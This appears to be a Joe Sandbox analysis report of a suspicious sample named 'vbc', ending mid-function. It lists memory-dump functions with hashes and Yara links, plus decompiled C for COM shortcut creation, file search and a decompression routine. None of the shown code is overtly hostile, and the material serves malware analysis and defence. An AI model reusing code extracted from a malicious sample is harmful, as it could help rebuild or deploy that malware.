Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$P\%
API String ID: 0-482672958
Opcode ID: c9c47ac97d7de00376b07412a144b28bb5ad8bbc89e2d85b2f4f58bb68683a4c
Instruction ID: 8008f440cb9a4d2ce09c208016e6cc75d00cc286e7e8bce49b15cf607df1abac
Opcode Fuzzy Hash: c9c47ac97d7de00376b07412a144b28bb5ad8bbc89e2d85b2f4f58bb68683a4c
Instruction Fuzzy Hash: 2EC20F716083858FDB35DF38C9987DABBA2BF56310F49826EDD898F255D3308A41CB52

Uniqueness

Uniqueness Score: -1.00%

Function 036F6109 Relevance: 4.4, Strings: 3, Instructions: 677COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: 1kmu$3|$P\%
API String ID: 2167126740-482672958
Opcode ID: f8d01071e94bcd24c35772704d0562e5cc3dfb78d629959457ae7c523e5fd2bb
Instruction ID: 3cc35a152522d1ee8307ca1430d9937def5726ed479eee7b57a94012ad89e4ca
Opcode Fuzzy Hash: f8d01071e94bcd24c35772704d0562e5cc3dfb78d629959457ae7c523e5fd2bb
Instruction Fuzzy Hash: 6652FBB260434A9FDB74DF39CD847DABBB6FF89300F458529DE899B614D3708A818B41

Uniqueness

Uniqueness Score: -1.00%

Function 036F40B8 Relevance: 4.4, Strings: 3, Instructions: 664COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$P\%
API String ID: 0-482672958
Opcode ID: c50be60eaccf535e486b318b32f84e375b7344e1c59063dec1baa4650f8f8cbb
Instruction ID: 771e7c3a057a0bcdfdd09f0aa1364be29000a2ea204793a305df7d2140a8704b
Opcode Fuzzy Hash: c50be60eaccf535e486b318b32f84e375b7344e1c59063dec1baa4650f8f8cbb
Instruction Fuzzy Hash: 1952FBB260434A9FDB749F39CD947DABBB6FF98300F468529DD899B610D3308A818B41

Uniqueness

Uniqueness Score: -1.00%

Function 036F40DD Relevance: 4.4, Strings: 3, Instructions: 663COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$P\%
API String ID: 0-482672958
Opcode ID: 2a66057bcfff3eca049a8c055e4951c708c4e72b7937845803f7fa9c1f1a3b5a
Instruction ID: e4ffbf5a93c3bd613a1b0849ce2e8f38885cd9dcabbbc79ec97b7ec000ee6d6c
Opcode Fuzzy Hash: 2a66057bcfff3eca049a8c055e4951c708c4e72b7937845803f7fa9c1f1a3b5a
Instruction Fuzzy Hash: DB52FCB260434A9FDB749F39CD947DABBB6FF99300F458129DE899B610D3309A81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 036F4375 Relevance: 4.3, Strings: 3, Instructions: 559COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$P\%
API String ID: 0-482672958
Opcode ID: 1da5c08abdb73416ddf91a32bfeba23cf4cca90a1ed96fb46bd3a31a54682880
Instruction ID: 7f80df9bf12c9ed4a4f69cdca11dac7fce1aa2f2faa5f8711ced5c826ffe1559
Opcode Fuzzy Hash: 1da5c08abdb73416ddf91a32bfeba23cf4cca90a1ed96fb46bd3a31a54682880
Instruction Fuzzy Hash: CA32EBB260434A9FDB759F29CD947DABBA2FF49300F458529ED89CB214D3309A818B41

Uniqueness

Uniqueness Score: -1.00%

Function 036F43A3 Relevance: 4.3, Strings: 3, Instructions: 543COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$P\%
API String ID: 0-482672958
Opcode ID: 8a8544d4520a0bb516c9f92971834efe776e1bf770d367a4bb41b92f7c7205a8
Instruction ID: 6442a3fff7174fb138c19f54a23ff7237f3465671308d61b23a5eca3278bae36
Opcode Fuzzy Hash: 8a8544d4520a0bb516c9f92971834efe776e1bf770d367a4bb41b92f7c7205a8
Instruction Fuzzy Hash: AD32EBB260434A9FDB759F29CD957DABBB2FF89300F458529ED89CB214D3309A81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 036F4561 Relevance: 4.2, Strings: 3, Instructions: 482COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$P\%
API String ID: 0-482672958
Opcode ID: ec849b69943e764024cf14733bd7f2a233b547c67dc74b1daf5f85ceead807c5
Instruction ID: 8a10cad6fa5b154117c3946788311909bd30a910a7c77f01b359f1310c114d11
Opcode Fuzzy Hash: ec849b69943e764024cf14733bd7f2a233b547c67dc74b1daf5f85ceead807c5
Instruction Fuzzy Hash: 1E12FBB260434A9FDB759F28CD547EA7BA2FF99300F45452DEE89CB210D3308A81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 036F7187 Relevance: 2.6, Strings: 2, Instructions: 125COMMON

Download Yara Rule

Strings

Tf{, xrefs: 036F708C
ps, xrefs: 036F7145

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: Tf{$ps
API String ID: 0-4061433262
Opcode ID: cfde5dffd4d5bfe095687e26d89c5491e2683a496ffc06064f1ddebaa4a11e8f
Instruction ID: 615a07d6c3ca23b24fd1314cf33ecd0fb44d4027a8ad7fcd60cae2a3f7d9fd6c
Opcode Fuzzy Hash: cfde5dffd4d5bfe095687e26d89c5491e2683a496ffc06064f1ddebaa4a11e8f
Instruction Fuzzy Hash: DC51C2B2A08389EFDB74DF25CA917EA77B2BF19340F55011ADD4A6B700C730AA41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA(void* __eflags) {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405E83( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4085f0, _t83, 1, 0x4085e0, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x408600, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x441000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004085F0,?,00000001,004085E0,?), ref: 00402229

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 58fea544f8465b7ca695cd277db4a94267474b575ac50a9b019070cedb53bd32
Instruction ID: 5977cb51530078b600b156af0050786de557c4b464dd586e6a5beaa7a0440451
Opcode Fuzzy Hash: 58fea544f8465b7ca695cd277db4a94267474b575ac50a9b019070cedb53bd32
Instruction Fuzzy Hash: A7411571A00208EFCF40DFE4C989E9D7BB5BF49348B20456AF905EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 036F5B0C Relevance: 1.6, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

S#b5, xrefs: 036F5D9B

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: S#b5
API String ID: 0-3280947951
Opcode ID: 239ab1a697d507770c36b034a1e3cbf95aa6fd79178c4af3c31c964654af0500
Instruction ID: 4c8ee622412ebd24767040b5e6a1f6d199ec5451ac527ea49a04493fd2fe44a2
Opcode Fuzzy Hash: 239ab1a697d507770c36b034a1e3cbf95aa6fd79178c4af3c31c964654af0500
Instruction Fuzzy Hash: CCC1BC3660038A8FDF34DF64CD90BEE36A6BF49310F04856EED8E9B254D7315A818B56

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E00406484( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E0040653D();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e3c555fdbd57f1008fac0fd93a6eb0fb110785489bc5405dabc14b2674c5a242
Instruction ID: 3f6fbcf0fd4d311cdd608d5f72697756ed96b8559223cd5d9f1c4d92bc61f1b3
Opcode Fuzzy Hash: e3c555fdbd57f1008fac0fd93a6eb0fb110785489bc5405dabc14b2674c5a242
Instruction Fuzzy Hash: 3CF08271A04105EFD701DBA4ED49AAEB378FF14314F60417BE116F21D0E7B88E159B29

Uniqueness

Uniqueness Score: -1.00%

Function 036F746E Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

5vC, xrefs: 036F74DB

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 5vC
API String ID: 0-1833372238
Opcode ID: c0fb7f8c20bcec286c039c604340db51ae098581390d5afe2710ea2e0e0bcbfd
Instruction ID: 74cf538a605209e41dd2524b3eca378031cb4a12cd8d6df66cb67931fdfc5f0f
Opcode Fuzzy Hash: c0fb7f8c20bcec286c039c604340db51ae098581390d5afe2710ea2e0e0bcbfd
Instruction Fuzzy Hash: AA1123B751228C4FEF788E7C9C957DA37AAAF89394F15002ADD0EDB390D7308A428641

Uniqueness

Uniqueness Score: -1.00%

Function 00406D85 Relevance: .3, Instructions: 334
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E00406D85(signed int __ebx, signed int* __esi) {
				signed int _t396;
				signed int _t425;
				signed int _t442;
				signed int _t443;
				signed int* _t446;
				void* _t448;

				L0:
				while(1) {
					L0:
					_t446 = __esi;
					_t425 = __ebx;
					if( *(_t448 - 0x34) == 0) {
						break;
					}
					L55:
					__eax =  *(__ebp - 0x38);
					 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
					__ecx = __ebx;
					 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
					__ebx = __ebx + 8;
					while(1) {
						L56:
						if(__ebx < 0xe) {
							goto L0;
						}
						L57:
						__eax =  *(__ebp - 0x40);
						__eax =  *(__ebp - 0x40) & 0x00003fff;
						__ecx = __eax;
						__esi[1] = __eax;
						__ecx = __eax & 0x0000001f;
						if(__cl > 0x1d) {
							L9:
							_t443 = _t442 | 0xffffffff;
							 *_t446 = 0x11;
							L10:
							_t446[0x147] =  *(_t448 - 0x40);
							_t446[0x146] = _t425;
							( *(_t448 + 8))[1] =  *(_t448 - 0x34);
							L11:
							 *( *(_t448 + 8)) =  *(_t448 - 0x38);
							_t446[0x26ea] =  *(_t448 - 0x30);
							E004074F4( *(_t448 + 8));
							return _t443;
						}
						L58:
						__eax = __eax & 0x000003e0;
						if(__eax > 0x3a0) {
							goto L9;
						}
						L59:
						 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 0xe;
						__ebx = __ebx - 0xe;
						_t94 =  &(__esi[2]);
						 *_t94 = __esi[2] & 0x00000000;
						 *__esi = 0xc;
						while(1) {
							L60:
							__esi[1] = __esi[1] >> 0xa;
							__eax = (__esi[1] >> 0xa) + 4;
							if(__esi[2] >= (__esi[1] >> 0xa) + 4) {
								goto L68;
							}
							L61:
							while(1) {
								L64:
								if(__ebx >= 3) {
									break;
								}
								L62:
								if( *(__ebp - 0x34) == 0) {
									goto L182;
								}
								L63:
								__eax =  *(__ebp - 0x38);
								 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
								__ecx = __ebx;
								 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
								__ebx = __ebx + 8;
							}
							L65:
							__ecx = __esi[2];
							 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000007;
							__ebx = __ebx - 3;
							_t108 = __ecx + 0x4084d4; // 0x121110
							__ecx =  *_t108;
							 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 3;
							 *(__esi + 0xc +  *_t108 * 4) =  *(__ebp - 0x40) & 0x00000007;
							__ecx = __esi[1];
							__esi[2] = __esi[2] + 1;
							__eax = __esi[2];
							__esi[1] >> 0xa = (__esi[1] >> 0xa) + 4;
							if(__esi[2] < (__esi[1] >> 0xa) + 4) {
								goto L64;
							}
							L66:
							while(1) {
								L68:
								if(__esi[2] >= 0x13) {
									break;
								}
								L67:
								_t119 = __esi[2] + 0x4084d4; // 0x4000300
								__eax =  *_t119;
								 *(__esi + 0xc +  *_t119 * 4) =  *(__esi + 0xc +  *_t119 * 4) & 0x00000000;
								_t126 =  &(__esi[2]);
								 *_t126 = __esi[2] + 1;
							}
							L69:
							__ecx = __ebp - 8;
							__edi =  &(__esi[0x143]);
							 &(__esi[0x148]) =  &(__esi[0x144]);
							__eax = 0;
							 *(__ebp - 8) = 0;
							__eax =  &(__esi[3]);
							 *__edi = 7;
							__eax = E0040755C( &(__esi[3]), 0x13, 0x13, 0, 0,  &(__esi[0x144]), __edi,  &(__esi[0x148]), __ebp - 8);
							if(__eax != 0) {
								L72:
								 *__esi = 0x11;
								while(1) {
									L180:
									_t396 =  *_t446;
									if(_t396 > 0xf) {
										break;
									}
									L1:
									switch( *((intOrPtr*)(_t396 * 4 +  &M004074B4))) {
										case 0:
											L101:
											__eax = __esi[4] & 0x000000ff;
											__esi[3] = __esi[4] & 0x000000ff;
											__eax = __esi[5];
											__esi[2] = __esi[5];
											 *__esi = 1;
											goto L102;
										case 1:
											L102:
											__eax = __esi[3];
											while(1) {
												L105:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L103:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L104:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L106:
											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
											__eax = __eax &  *(__ebp - 0x40);
											__ecx = __esi[2];
											__eax = __esi[2] + __eax * 4;
											__ecx =  *(__eax + 1) & 0x000000ff;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
											__ecx =  *__eax & 0x000000ff;
											__eflags = __ecx;
											if(__ecx != 0) {
												L108:
												__eflags = __cl & 0x00000010;
												if((__cl & 0x00000010) == 0) {
													L110:
													__eflags = __cl & 0x00000040;
													if((__cl & 0x00000040) == 0) {
														goto L125;
													}
													L111:
													__eflags = __cl & 0x00000020;
													if((__cl & 0x00000020) == 0) {
														goto L9;
													}
													L112:
													 *__esi = 7;
													goto L180;
												}
												L109:
												__esi[2] = __ecx;
												__esi[1] = __eax;
												 *__esi = 2;
												goto L180;
											}
											L107:
											__esi[2] = __eax;
											 *__esi = 6;
											goto L180;
										case 2:
											L113:
											__eax = __esi[2];
											while(1) {
												L116:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L114:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L115:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L117:
											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
											__esi[1] = __esi[1] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
											__ecx = __eax;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - __eax;
											__eflags = __ebx;
											__eax = __esi[4] & 0x000000ff;
											__esi[3] = __esi[4] & 0x000000ff;
											__eax = __esi[6];
											__esi[2] = __esi[6];
											 *__esi = 3;
											goto L118;
										case 3:
											L118:
											__eax = __esi[3];
											while(1) {
												L121:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L119:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L120:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L122:
											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
											__eax = __eax &  *(__ebp - 0x40);
											__ecx = __esi[2];
											__eax = __esi[2] + __eax * 4;
											__ecx =  *(__eax + 1) & 0x000000ff;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
											__ecx =  *__eax & 0x000000ff;
											__eflags = __cl & 0x00000010;
											if((__cl & 0x00000010) == 0) {
												L124:
												__eflags = __cl & 0x00000040;
												if((__cl & 0x00000040) != 0) {
													goto L9;
												}
												L125:
												__esi[3] = __ecx;
												__ecx =  *(__eax + 2) & 0x0000ffff;
												__esi[2] = __eax;
												goto L180;
											}
											L123:
											__esi[2] = __ecx;
											__esi[3] = __eax;
											 *__esi = 4;
											goto L180;
										case 4:
											L126:
											__eax = __esi[2];
											while(1) {
												L129:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L127:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L128:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L130:
											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
											__esi[3] = __esi[3] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
											__ecx = __eax;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - __eax;
											__eflags = __ebx;
											 *__esi = 5;
											goto L131;
										case 5:
											L131:
											__eax =  *(__ebp - 0x30);
											__edx = __esi[3];
											__eax = __eax - __esi;
											__ecx = __eax - __esi - 0x1ba0;
											__eflags = __eax - __esi - 0x1ba0 - __edx;
											if(__eax - __esi - 0x1ba0 >= __edx) {
												__ecx = __eax;
												__ecx = __eax - __edx;
												__eflags = __ecx;
											} else {
												__esi[0x26e8] = __esi[0x26e8] - __edx;
												__ecx = __esi[0x26e8] - __edx - __esi;
												__ecx = __esi[0x26e8] - __edx - __esi + __eax - 0x1ba0;
											}
											__eflags = __esi[1];
											 *(__ebp - 0x20) = __ecx;
											if(__esi[1] != 0) {
												L135:
												__edi =  *(__ebp - 0x2c);
												do {
													L136:
													__eflags = __edi;
													if(__edi != 0) {
														goto L152;
													}
													L137:
													__edi = __esi[0x26e8];
													__eflags = __eax - __edi;
													if(__eax != __edi) {
														L143:
														__esi[0x26ea] = __eax;
														__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
														__eax = __esi[0x26ea];
														__ecx = __esi[0x26e9];
														__eflags = __eax - __ecx;
														 *(__ebp - 0x30) = __eax;
														if(__eax >= __ecx) {
															__edi = __esi[0x26e8];
															__edi = __esi[0x26e8] - __eax;
															__eflags = __edi;
														} else {
